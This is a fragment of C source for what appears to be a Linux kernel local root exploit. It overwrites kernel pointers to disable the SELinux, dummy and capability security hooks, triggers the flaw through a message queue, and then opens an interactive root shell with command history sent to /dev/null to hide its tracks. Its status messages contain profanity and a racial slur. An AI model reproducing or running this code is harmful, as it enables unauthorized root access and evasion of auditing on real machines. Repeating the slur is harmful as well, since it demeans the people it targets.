  809. __pppp_tegddewyfg("$$$ 0v3r thr0w f0ps g0v3rnm3nt\n");
  810. bitch_call(&at, (void*)Y0Y0STOP);
  811. sleep(1);
  812.  
  813. fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
  814. if(fd < 0)
  815. __xxxfdgftr_hshsgdt("!!! fuq t1m3r_l1st");
  816.  
  817. pfd.fd = fd;
  818. pfd.events = POLLIN | POLLOUT;
  819. poll(&pfd, 1, 0);
  820. }
  821. else if(uselsm)
  822. {
  823. int msqid;
  824. __yyrhdgdtfs66ytgetrfd selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF);
  825. __yyrhdgdtfs66ytgetrfd dummy_msg_off = curr_target->dummy_security_ops + (8*RHEL_LSM_OFF);
  826. __yyrhdgdtfs66ytgetrfd capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF);
  827.  
  828.  
  829. msqid = msgget(0, IPC_PRIVATE|0600);
  830. if(msqid < 0)
  831. __xxxfdgftr_hshsgdt("!!! fuqqqqqq msgg3t");
  832.  
  833.  
  834. magiclen = get_socklen(selinux_msg_off, Y0Y0STOP);
  835. __setmcbuffer(J0J0S);
  836. bitch_call(&at, (void*)Y0Y0STOP);
  837. magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP);
  838. __setmcbuffer(0);
  839. bitch_call(&at, (void*)Y0Y0STOP);
  840.  
  841.  
  842. magiclen = get_socklen(dummy_msg_off, Y0Y0STOP);
  843. __setmcbuffer(J0J0S);
  844. bitch_call(&at, (void*)Y0Y0STOP);
  845. magiclen = get_socklen(dummy_msg_off+4, Y0Y0STOP);
  846. __setmcbuffer(0);
  847. bitch_call(&at, (void*)Y0Y0STOP);
  848.  
  849.  
  850. magiclen = get_socklen(capability_msg_off, Y0Y0STOP);
  851. __setmcbuffer(J0J0S);
  852. bitch_call(&at, (void*)Y0Y0STOP);
  853. magiclen = get_socklen(capability_msg_off+4, Y0Y0STOP);
  854. __setmcbuffer(0);
  855. bitch_call(&at, (void*)Y0Y0STOP);
  856.  
  857.  
  858. msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
  859. }
  860.  
  861. munmap((void*)Y0Y0CMAP, PAGE_SIZE);
  862.  
  863. /* exec */
  864. if(getuid() == 0)
  865. {
  866. pid_t pid;
  867. __pppp_tegddewyfg("$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n");
  868. pid = fork();
  869. if(pid == 0)
  870. {
  871. char *args[] = {"/bin/sh", "-i", NULL};
  872. char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
  873. "PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
  874. execve("/bin/sh", args, envp);
  875. }
  876. else
  877. {
  878. int status;
  879. waitpid(pid, &status, 0);
  880. }
  881. }
  882. else
  883. __pppp_tegddewyfg("!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!\n");
  884.  
  885. close(s);
  886. return 0;
  887. }
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